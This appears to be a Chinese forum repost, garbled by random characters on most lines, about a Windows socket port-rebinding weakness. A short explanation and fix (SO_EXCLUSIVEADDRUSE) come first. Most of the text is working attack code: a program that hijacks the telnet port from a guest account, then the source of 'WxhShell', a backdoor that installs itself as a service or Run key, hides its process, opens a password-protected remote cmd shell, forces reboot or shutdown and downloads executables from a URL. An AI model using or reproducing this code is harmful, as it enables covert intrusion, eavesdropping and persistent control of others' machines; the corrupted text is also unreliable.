在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
CV[ 9i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$}4ao2 D?BegF saddr.sin_family = AF_INET;
r;@0F V'b4wO1RV saddr.sin_addr.s_addr = htonl(INADDR_ANY);
"y8W5R5kL4 TTO8tT3[6} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-[*y{K@dh 3_RdzW}f 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!}}
)f/ K7s[Fa6J 这意味着什么?意味着可以进行如下的攻击:
W
/v
&V# 0<V/[$}\D 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$JOtUB{ y:E$n! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~;b}_?%o #y&5pP:@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
0`pCgF _gH$
,.j/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
e6*,MnqBh `\##M= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7Tp+]"bL F^.]g@g.| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
H{*rV>% ]fDb|s48 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Kf?:dF ;0|:.q #include
8@doKOA~T #include
pcIS}+L #include
g'!"klS93 #include
N*[b26 DWORD WINAPI ClientThread(LPVOID lpParam);
N=U`BhL_ int main()
pq_U?_5Z'r {
<^$ppwk$ WORD wVersionRequested;
ES^JRX DWORD ret;
u[SqZftmO WSADATA wsaData;
s3sD7 @ BOOL val;
b*tb$F SOCKADDR_IN saddr;
Js:U1q SOCKADDR_IN scaddr;
;I@\}!%H int err;
/)RH-_63 SOCKET s;
|oOAy SOCKET sc;
3zmbx~| =\ int caddsize;
$[Ut])4
~ HANDLE mt;
.p Mwa DWORD tid;
:W>PKW`^ wVersionRequested = MAKEWORD( 2, 2 );
J(8?6&=ck err = WSAStartup( wVersionRequested, &wsaData );
2xUgM}e if ( err != 0 ) {
"3 ++S printf("error!WSAStartup failed!\n");
GwA\>qXw return -1;
CL`+\
. }
T++q.oFc
saddr.sin_family = AF_INET;
@#^Y#
rxb "Uf1;;b //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/V cbT >= @+nCNXK saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
PZ#up{[o saddr.sin_port = htons(23);
BK)<~I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2rC& {
b)#rUI|O printf("error!socket failed!\n");
;K7kBp\d return -1;
;xUo(^t7> }
0t(c84o5 val = TRUE;
4o";p}[b //SO_REUSEADDR选项就是可以实现端口重绑定的
__+8wC if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
U8gj\G\` {
3mopTzs) printf("error!setsockopt failed!\n");
R'vNJDFY return -1;
J"S(GL }
j( k%w //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Jqgm>\y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
0 ;)Q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
- q(a~Ge k;JDVRL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-{C Gn5]_# {
ShlTMTgS ret=GetLastError();
,B_tAg4~ printf("error!bind failed!\n");
o~CEja&( return -1;
T.')XKP)1N }
!Ea9
fe listen(s,2);
9
!UNO while(1)
KJS-{ed {
gMZ+kP` caddsize = sizeof(scaddr);
_NwHT`O[ //接受连接请求
br TP}A sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#*w)rGkU2 if(sc!=INVALID_SOCKET)
Ahbh,U {
WI*CuJU<zJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
8lDb<i if(mt==NULL)
V?0IMc {
bYpeI(zK printf("Thread Creat Failed!\n");
^~vM*.j~j break;
2 A";oE }
G; W2Z, }
K0B<9Wi| CloseHandle(mt);
Fv)E:PnKC }
g)ZMU^1 closesocket(s);
sV5") /~ WSACleanup();
yZm=#.f return 0;
@^ti*` }
f52P1V] DWORD WINAPI ClientThread(LPVOID lpParam)
f9},d1k {
OAiv3"p SOCKET ss = (SOCKET)lpParam;
NOkgG0Z SOCKET sc;
XjP;O,x unsigned char buf[4096];
imzPVGCD{ SOCKADDR_IN saddr;
u)r:0;5 long num;
SsZSR.tD DWORD val;
Ac*J;fI DWORD ret;
\/\w|j //如果是隐藏端口应用的话,可以在此处加一些判断
Olh{<~Fv //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'|yCDBu saddr.sin_family = AF_INET;
@- xvdntx saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
AOKC1iD%Y saddr.sin_port = htons(23);
FIVC~LDd if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k.c.7%|~; {
RP+)sCh printf("error!socket failed!\n");
Q (q&(/ return -1;
cPAR.h,b? }
ZvT>A#R;l~ val = 100;
u^JsKG+,: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
YHu]\'Ff {
goF87^M ret = GetLastError();
[eOv fD return -1;
(dQ=i }
,d* hhe
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1iLU{m9 {
L1DH9wiQi ret = GetLastError();
vp*+Ckd return -1;
;b1B*B }
i`+bSg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
T,>L {
nfGI4ZE printf("error!socket connect failed!\n");
$)8,dS closesocket(sc);
g3{UP]Z71 closesocket(ss);
gVR]z9 return -1;
k 9z9{ }
XQfmD;U while(1)
-}h^'# {
d}ycC.h4k //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
pz)>y&_o //如果是嗅探内容的话,可以再此处进行内容分析和记录
_'L16@q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0%}*Zo(e+ num = recv(ss,buf,4096,0);
J>nBTY,_< if(num>0)
_!,
J iOI send(sc,buf,num,0);
<Up?w/9 else if(num==0)
kmt1vV.9 break;
bJD$!*r\%! num = recv(sc,buf,4096,0);
ysp`(n= if(num>0)
ey4.Hj#T send(ss,buf,num,0);
NIbK3`1 else if(num==0)
w7Y@wa! break;
02*qf:kTnA }
'U`;4AN closesocket(ss);
w=rD8@ closesocket(sc);
u-4@[*^T$ return 0 ;
DC-d@N+ }
DU]KD%kl a\}MJ5]
xz5A[)N ==========================================================
zUv#%Q8vw 6},[HpXRc4 下边附上一个代码,,WXhSHELL
n;N79`mZC ^w.]1x ==========================================================
G\;6n xb9+- {<J #include "stdafx.h"
S 593wfc g; ]' #include <stdio.h>
IVxZ.5:L$ #include <string.h>
1TGRIe) #include <windows.h>
*0eU_*A^zO #include <winsock2.h>
<.gDg?'3 #include <winsvc.h>
>X05f#c"v/ #include <urlmon.h>
pe+h8 GbL1<P$V #pragma comment (lib, "Ws2_32.lib")
9jEH"`qqk #pragma comment (lib, "urlmon.lib")
L*A-&9.p3 $$&.}}., #define MAX_USER 100 // 最大客户端连接数
}b&S3?ONt #define BUF_SOCK 200 // sock buffer
.#|?-5q/iN #define KEY_BUFF 255 // 输入 buffer
/9I/^i~ PS[ C!s&KE #define REBOOT 0 // 重启
}58MDpOF1 #define SHUTDOWN 1 // 关机
\I523$a !%('8-x% #define DEF_PORT 5000 // 监听端口
zB`woI28 ?&~q^t?u #define REG_LEN 16 // 注册表键长度
V8TdtGB.|h #define SVC_LEN 80 // NT服务名长度
Tsa]SN14 Xw!\,"{s // 从dll定义API
%%uE^nX> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1d]F$> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
NzP71t+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
tS] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
JDE_*xaUV VLkAsM5}% // wxhshell配置信息
[{BY$"b#: struct WSCFG {
bD:0k.` int ws_port; // 监听端口
L1/`/ char ws_passstr[REG_LEN]; // 口令
l$/lbwi% int ws_autoins; // 安装标记, 1=yes 0=no
wL
4Y%g char ws_regname[REG_LEN]; // 注册表键名
'= fk;AiQ char ws_svcname[REG_LEN]; // 服务名
%60 OS3 char ws_svcdisp[SVC_LEN]; // 服务显示名
0C/ZcfFU~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
=huV(THU char ws_passmsg[SVC_LEN]; // 密码输入提示信息
jj2\;b:a0 int ws_downexe; // 下载执行标记, 1=yes 0=no
;'uQBx} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
%sr- xE char ws_filenam[SVC_LEN]; // 下载后保存的文件名
P%(9 `A IyyBW2 };
p,$N-22a {.{Wl,|7 // default Wxhshell configuration
|9c~kTjK struct WSCFG wscfg={DEF_PORT,
#H>{>0q "xuhuanlingzhe",
PKSfu++Z 1,
c8JW]A`9b) "Wxhshell",
4Qfsxg "Wxhshell",
t n5 "WxhShell Service",
4r1\&sI$~ "Wrsky Windows CmdShell Service",
&o;0%QgF "Please Input Your Password: ",
x
I.W-js[ 1,
71c[`h*0{ "
http://www.wrsky.com/wxhshell.exe",
\{lv~I "Wxhshell.exe"
iT4*~(p 3 };
vCaN [ UGhEaKH~R // 消息定义模块
[c
8=b,EI char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H,X|-B char *msg_ws_prompt="\n\r? for help\n\r#>";
0Lxz?R x]< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
d-UeItyW* char *msg_ws_ext="\n\rExit.";
V >' char *msg_ws_end="\n\rQuit.";
#lP8/-s^ char *msg_ws_boot="\n\rReboot...";
g8%O^)d=> char *msg_ws_poff="\n\rShutdown...";
nG!<wlY14P char *msg_ws_down="\n\rSave to ";
<s'de$[ LEgP-sW char *msg_ws_err="\n\rErr!";
UUJQc~= char *msg_ws_ok="\n\rOK!";
YS9RfK/ EX`P(=zD char ExeFile[MAX_PATH];
p%"dYH%]&0 int nUser = 0;
tUJRNEg HANDLE handles[MAX_USER];
5XZ!yYB? int OsIsNt;
F`nQS&y }6c>BU}DF SERVICE_STATUS serviceStatus;
J/?Nf2L4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
KeQcL4< ;"wCBuXcu // 函数声明
3`HK^((o int Install(void);
~.m<`~u int Uninstall(void);
u#E'k
KGO int DownloadFile(char *sURL, SOCKET wsh);
H,!xTy"Wh int Boot(int flag);
o|(5Sr&H void HideProc(void);
"#j}F u_! int GetOsVer(void);
d,"LZ>hNY* int Wxhshell(SOCKET wsl);
az(<<2= void TalkWithClient(void *cs);
smQ^(S^ int CmdShell(SOCKET sock);
f&^(f1WO int StartFromService(void);
@^W`Yg)C int StartWxhshell(LPSTR lpCmdLine);
18>cfDh;N %t9C VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
DmiBM6t3N VOID WINAPI NTServiceHandler( DWORD fdwControl );
jhNFaBrS 0CrsZt X // 数据结构和表定义
p~qe/ SERVICE_TABLE_ENTRY DispatchTable[] =
Z'JS@dV {
B[t^u\Fk {wscfg.ws_svcname, NTServiceMain},
S\e&xUA;| {NULL, NULL}
9t"Rw ns };
|W">&Rb<t# @c3xUK // 自我安装
&_ekA44E int Install(void)
|^pev2g {
9 E!le=> char svExeFile[MAX_PATH];
Sjpx G@k HKEY key;
kXMp()N8` strcpy(svExeFile,ExeFile);
G'ykcB._ :gh[BeqQ) // 如果是win9x系统,修改注册表设为自启动
?{{w[U6NE if(!OsIsNt) {
|cPHl+$nh. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
o\IMYT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uepyH RegCloseKey(key);
qLN^9PdEE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2@&r!Q|1vR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|\5^ub,m RegCloseKey(key);
0lfK}
a return 0;
>H2`4]4] }
vT'Bs;QR }
!>8~R2 }
RK>Pe3< else {
1o_kY"D< BM%wZ:
s // 如果是NT以上系统,安装为系统服务
h+ f>#O+: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0B
NLTRv if (schSCManager!=0)
xt{'Be&Ya+ {
+L(amq;S SC_HANDLE schService = CreateService
&NE e-cb[ (
X%1TsCKMj schSCManager,
rH+OXGoB wscfg.ws_svcname,
3FEJ
9ZyG wscfg.ws_svcdisp,
b'H'QY
SERVICE_ALL_ACCESS,
k*.]*]
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
I2ek`t] SERVICE_AUTO_START,
&|>+LP@8 SERVICE_ERROR_NORMAL,
24mdhT| svExeFile,
H"C'<(4*\ NULL,
]n22+]D NULL,
_"DS?`z6 NULL,
%`vzQt`> NULL,
<AHpk5Sn{ NULL
DX>a0-Xj );
5gszAvOO if (schService!=0)
H"Pb)t {
XH:*J+$O CloseServiceHandle(schService);
IUcL* CloseServiceHandle(schSCManager);
NWBYpGZx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
GXNf@& strcat(svExeFile,wscfg.ws_svcname);
"n-'?W! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
S;Bk/\2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
y}Ky<%A!P RegCloseKey(key);
n\#YGL<n return 0;
0&.CAHb} }
AKNx~!%2 }
Q=\
Oa(I CloseServiceHandle(schSCManager);
6K $mW }
\u3\ TJ }
Nd_fjB bQAznd0 return 1;
B~Q-V&@o }
f0Q6sV ZHa 15$xa_w}L
// 自我卸载
B[vj X"yg int Uninstall(void)
^?69|, {
e_vsiT HKEY key;
%B3~t> [}X|&`'i if(!OsIsNt) {
_B4&Fb. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GN.Oa$ RegDeleteValue(key,wscfg.ws_regname);
|Lq8cA)|y RegCloseKey(key);
3P>gDQP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_`$LdqgE RegDeleteValue(key,wscfg.ws_regname);
)vr@:PE RegCloseKey(key);
J(
}2Ua_ return 0;
@u3`lhUcT }
6 Z/`p~e }
;`9f<d#\ }
1C[9}} else {
&dtk&P{ <G"cgN#] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
bRC243]g*A if (schSCManager!=0)
@nxo Bc !P {
#u<Qc T@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
MatXhP] Fi if (schService!=0)
] m]`J|%i {
bP,<^zA|X if(DeleteService(schService)!=0) {
r@r%qkh(.@ CloseServiceHandle(schService);
0r]n
0?x CloseServiceHandle(schSCManager);
0QQss return 0;
Zw]`z*,yRA }
yu?5t?vf CloseServiceHandle(schService);
XGlt^<` }
F c[KIG3@ CloseServiceHandle(schSCManager);
$o"nTl }
x^eu[olN }
l }{{7~C` BT_]=\zi return 1;
]]xKc5CT }
Ku;fZN[g ^-;S&= // 从指定url下载文件
E(qYCafC int DownloadFile(char *sURL, SOCKET wsh)
iP/v"g"g {
U%{GLO HRESULT hr;
G#iQX` char seps[]= "/";
A#uU]S char *token;
WlL(NrVA@@ char *file;
l,wlxh$}( char myURL[MAX_PATH];
tz1@s nes char myFILE[MAX_PATH];
\lL[08G ^Fk;t strcpy(myURL,sURL);
Q&m85'r5X token=strtok(myURL,seps);
Jx*cq;`Vee while(token!=NULL)
LvG.ocCG {
[f6uwp file=token;
U~
{k_'-i token=strtok(NULL,seps);
#mH@ /6,#[ }
vwR_2u 5<?Ah+1 GetCurrentDirectory(MAX_PATH,myFILE);
337.' |ZE strcat(myFILE, "\\");
K2m>D=w strcat(myFILE, file);
OhF55,[ send(wsh,myFILE,strlen(myFILE),0);
;w{<1NH2+. send(wsh,"...",3,0);
*miG< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[|\6AIoS if(hr==S_OK)
[hJ1]RW8 return 0;
6fwNlC/9 else
01bCP return 1;
$Dg-;I l![M,8 }
~NGM6+9 rOIb9: // 系统电源模块
i4C{3J^ int Boot(int flag)
?2<QoS {
",r
v%i2 f HANDLE hToken;
"tCI_
Zi; TOKEN_PRIVILEGES tkp;
6iFlz9XiI }"Y<<e<z: if(OsIsNt) {
I#l}5e5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
verI~M$v{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
kuY^o,u-1e tkp.PrivilegeCount = 1;
Q+CJd>B tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
GT>'|~e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<J%qzt} if(flag==REBOOT) {
w0QtGQ| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
w+$$uz return 0;
i Ad&o`C }
2w>%-_]u+ else {
W 4{ T< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ET*A0rt return 0;
.[={Yx0!I }
Po>6I0y }
SA,~q& else {
t@KTiJI
] if(flag==REBOOT) {
q|5WHB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
a=S &r1s> return 0;
Z'o0::k }
31n"w; else {
vE ]ge if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~Nh6po{ return 0;
F`}'^> }
)! [B( }
#83 ]+lT*6P* return 1;
(6%T~|a }
3j#VKj+Uc H4i}gdR // win9x进程隐藏模块
N$=YL
@m8 void HideProc(void)
]#~J[uk {
1eXMMZ/? 3=S|U, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
v gW(l2,@ if ( hKernel != NULL )
ra^</o/ {
2BY|Cp4R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
b"g^Jm! j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
G<Z}G8FW^ FreeLibrary(hKernel);
\Z*:l( }
3 s\UU2yr 92-Xz6Bo9 return;
$W._FAAJ# }
-e_fn&2,Y 5nPvEN/ // 获取操作系统版本
hB?#b`i^ int GetOsVer(void)
;NP-tA) {
0jp].''RK\ OSVERSIONINFO winfo;
QPy h.9:N winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
L1IF$eC GetVersionEx(&winfo);
1$Up7=Dr= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
A-x^JC= return 1;
81RuNs] else
aru2H6 return 0;
g5BL"Dn }
cMK|t;"
3 cT(nKHL // 客户端句柄模块
Gm+D1l i int Wxhshell(SOCKET wsl)
ff9m_P {
&H_/`Z]Q SOCKET wsh;
0GMb?/
struct sockaddr_in client;
/cS8@)e4 DWORD myID;
\mF-L,yu <XL%* while(nUser<MAX_USER)
6 `6I<OJ\ {
pbzt8 P[ int nSize=sizeof(client);
{\Pk;M{Y& wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
+;,{`*W+N if(wsh==INVALID_SOCKET) return 1;
'[
c-$X2Ak ^P^"t^O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
AA-$;s if(handles[nUser]==0)
q\tr&@4iC closesocket(wsh);
4Q+ ,_iP else
_0[z
xOI nUser++;
NK-}[!f }
v9T3= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
hyxv+m[ x]VycS return 0;
B"v*[p? }
mbAzn ~#gc{C@ // 关闭 socket
/G5KNSi void CloseIt(SOCKET wsh)
G-CL \G\n {
D(z#)oDr closesocket(wsh);
U& GPede nUser--;
(~@.9&cBD ExitThread(0);
S1k*">< }
Q_T,=y d 6Y9D=O
// 客户端请求句柄
['QhC( { void TalkWithClient(void *cs)
$y;w@^ {
kwi$% 'q}Ud10c SOCKET wsh=(SOCKET)cs;
Y1o[|ytW char pwd[SVC_LEN];
QXI~Toddj char cmd[KEY_BUFF];
@Z0. }}Y char chr[1];
n6[shXH int i,j;
GS*O{u gvVy0nJI~ while (nUser < MAX_USER) {
HubG>] yXkQ
,y if(wscfg.ws_passstr) {
/{({f?k<\/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C,;?`3bH@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!,-'wT<v //ZeroMemory(pwd,KEY_BUFF);
zGe =l; i=0;
fq1w <e while(i<SVC_LEN) {
6l|L/Z_6 ?23J(;)s // 设置超时
)^UqB0C6^ fd_set FdRead;
dLQp"vs $ struct timeval TimeOut;
+:m)BLA4l FD_ZERO(&FdRead);
6rS
? FG= FD_SET(wsh,&FdRead);
i<&z'A6&]* TimeOut.tv_sec=8;
=$}`B{(H TimeOut.tv_usec=0;
H!NGY]z* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
T7YJC,^m if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
DKo6lP` ym
p*:lH( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
y**L^uvr pwd
=chr[0]; oCwep^P(v
if(chr[0]==0xd || chr[0]==0xa) { uP7|#>1%
pwd=0; +VIEDV+
break; [p\xk{7Y
} %AV3eqghCg
i++; depCqz@
} daY0;,>
*{JD=ua
// 如果是非法用户,关闭 socket 7d{xXJ-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Yy!G?>hC
} n n[idw
0o6r3xc;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5Bcmz'?!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X:FyNUa
;J?fK69%
while(1) { ^=I[uX-3ue
sS)tSt{C
ZeroMemory(cmd,KEY_BUFF); zv1,DnkqF
$IKN7
// 自动支持客户端 telnet标准 bq7()ocA
j=0; M#o=.,
while(j<KEY_BUFF) { Q0PqyobD
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C _W]3
cmd[j]=chr[0]; ?h7[^sxJ
if(chr[0]==0xa || chr[0]==0xd) { u`L*
cmd[j]=0; Ty 6 XU!
break; PC=s:`Y}R
} U:/_T>f%
j++; b9f5
} 11J:>A5zt
oOQan
// 下载文件 r|jBKq~
if(strstr(cmd,"http://")) { qyIy xJ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6{Bvl[mhI
if(DownloadFile(cmd,wsh)) M~sP|Ha"+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gi
A(VUwI>
else BZQJ@lk5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c1]\.s
} IxP$lx
else { y9:o];/
"Q23s"
switch(cmd[0]) { ~O~we
'?|.#D#-c
// 帮助 OUHd@up@n
case '?': { Qe<c@i"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Tq6@
1j6p
break; HV3D$~g F
} wZ8LY;
// 安装 YkV-]%c
case 'i': { %D^j7`Z
if(Install()) (w 'k\y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [s!c c:JR
else )o_$AbPt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 87VXVI
break; `tsqnw
} i];@ e]
// 卸载 X<"#=u(
case 'r': { qmpU{fs
if(Uninstall()) :;x#qtv~Iz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?y{"OuRf.
else H~qY7t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A`1/g{Ha
break; \?\q0o<V$
} ffQ&1T<
// 显示 wxhshell 所在路径 HLt;1:b
case 'p': { E }w<-]8
char svExeFile[MAX_PATH]; PI")^`
strcpy(svExeFile,"\n\r"); Z Q9's
strcat(svExeFile,ExeFile); `=foB-(zt
send(wsh,svExeFile,strlen(svExeFile),0); |z%*}DPrpa
break; w<4){.dA
} "Zicac@N
// 重启 j[1^#kE
case 'b': { Xp3cYS*u
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dv\oVD
if(Boot(REBOOT)) d7QQ5FiB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4VL]v9
else {
t#g6rh&
closesocket(wsh); 4fzM%ku
ExitThread(0); z[, `
}
o;:a6D`
break; esEOV$s}
} `S7${0e
// 关机 ?+#E&F
case 'd': { >7V&pH'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M*c`@\
if(Boot(SHUTDOWN)) sXSZ#@u,WN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pKSVT
else { Ec]cCLB
closesocket(wsh); <tTn$<b
ExitThread(0); g'b)] Q
} eVWnD,'
break; j&?NE1D>I
} PFIL)D
|G
// 获取shell T%F8=kb-9
case 's': { [! :.9
CmdShell(wsh); Hv>Hz*s_I
closesocket(wsh); 0) lG~_q
ExitThread(0); =l3*{ ?G
break; 3' 6>zp
} #/1,Cv yj
// 退出 gasl%&
case 'x': { " mE<r2=@
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wc_Ph40C<_
CloseIt(wsh); 8YBsYKC
break; F3a"SKMW
} [w)6OT
// 离开 7<?v!vQ}-
case 'q': { Fx0<!_tY-
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [OsW
closesocket(wsh); jX{lo
WSACleanup(); DI!l.w5P_
exit(1); b_=k"d
break; : C;=<$
} aARm nV
} #,qikKjt2
} ,k@fXoW
.|{*.YE
// 提示信息 z{^XU"yB
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NzRL(A6V
} F:M3^I
} v *~ yN*
]}G(@9
return; n4CzReG
} 5R,/X
TZZqV8
// shell模块句柄 Yb x4 Up@
int CmdShell(SOCKET sock) G(4:yK0
{ G#CWl),=
STARTUPINFO si; 4F8`5)RM
ZeroMemory(&si,sizeof(si)); 8F4#E
U
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nS'0i&<{1
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w];t ]q|
PROCESS_INFORMATION ProcessInfo; iygdX2
char cmdline[]="cmd"; /sdkQ{J!.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,)Z^b$H]
return 0; Mi'eViH
} .'7o,)pJ<
dmrM %a}W-
// 自身启动模式 #ZGWU_l}
int StartFromService(void) TiF$',WMv
{ :d!.E$S
typedef struct J/wot,j^
{ JVTG3:zD
DWORD ExitStatus; 2@ACmh
DWORD PebBaseAddress; oChcEx%
DWORD AffinityMask; WE`Y!
DWORD BasePriority; |2c '0Ibu
